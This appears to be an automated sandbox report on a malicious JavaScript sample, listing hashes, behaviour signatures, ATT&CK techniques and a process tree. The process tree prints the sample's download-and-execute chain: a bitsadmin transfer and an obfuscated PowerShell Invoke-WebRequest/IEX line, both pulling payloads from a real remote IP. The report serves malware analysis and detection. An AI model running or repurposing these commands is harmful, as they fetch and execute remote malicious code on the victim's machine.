a1b2dc89cf53829809078cfa4961df67321fdb9323fe9f10b310120d6b9aab5a

Analysis

max time kernel
27s
max time network
30s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
27/03/2023, 16:31

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
document.js
Size 12KB
Sample230327-t1g8csgd21
SHA256 a1b2dc89cf53829809078cfa4961df67321fdb9323fe9f10b310120d6b9aab5a
MD5 4c68ce2c82c149bf635a6889f8ab79ee
SHA1 1459605f639de1549ac2a017f40901bad14e075f
SHA512 c21aa6e314388cc166ac58f159fe222559f7657d2709be2d1e217c50bd14d6fd7f6eeb0bccde0d82da0f74abb9d40f49eb54dd4a404f2f8c49ea88fc0095e0e4
SSDEEP 192:sLpZZb71ltuYf+EKTnC0hIJcvTMC4rAVl//iNlIucYiiwFH2+Nbdq0w:O7Y1TnCWKcvTAud/CO3iwFH2+Na
MD5 SHA1 SHA512 SSDEEP

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Download via BitsAdmin 1 TTPs 1 IoCs

dropper

BITS Jobs

T1197

pid	Process
1916	bitsadmin.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1704	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1704	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 1928 wrote to memory of 1916	1928	wscript.exe	28
PID 1928 wrote to memory of 1916	1928	wscript.exe	28
PID 1928 wrote to memory of 1916	1928	wscript.exe	28
PID 1928 wrote to memory of 336	1928	wscript.exe	30
PID 1928 wrote to memory of 336	1928	wscript.exe	30
PID 1928 wrote to memory of 336	1928	wscript.exe	30
PID 336 wrote to memory of 1704	336	wscript.exe	32
PID 336 wrote to memory of 1704	336	wscript.exe	32
PID 336 wrote to memory of 1704	336	wscript.exe	32

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\document.js
1⤵
- Suspicious use of WriteProcessMemory
PID:1928
- C:\Windows\System32\bitsadmin.exe
  "C:\Windows\System32\bitsadmin.exe" /transfer 8 http://185.252.178.121:222/no.txt C:\Users\Admin\AppData\Local\Temp\emp
  2⤵
  - Download via BitsAdmin
  PID:1916
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" //E:VBScript C:\Users\Admin\AppData\Local\Temp\emp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $a = 'C:\Users\Public\file.txt';Invoke-WebRequest -H @{'apiKey'='keyValue'} http://185.252.178.121:222/note.png -OutFile $a;Sleep 5;IE`X([IO.File]::ReadAllText($a))
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1704

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

BITS Jobs

T1197

Privilege Escalation

Defense Evasion

BITS Jobs

T1197

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1704-58-0x00000000026F0000-0x0000000002770000-memory.dmp

Download

memory/1704-59-0x00000000026F0000-0x0000000002770000-memory.dmp

Download

memory/1704-60-0x000000001B240000-0x000000001B522000-memory.dmp

Download

memory/1704-61-0x00000000022F0000-0x00000000022F8000-memory.dmp

Download

memory/1704-62-0x00000000026F0000-0x0000000002770000-memory.dmp

Download

memory/1704-63-0x00000000026F0000-0x0000000002770000-memory.dmp

Download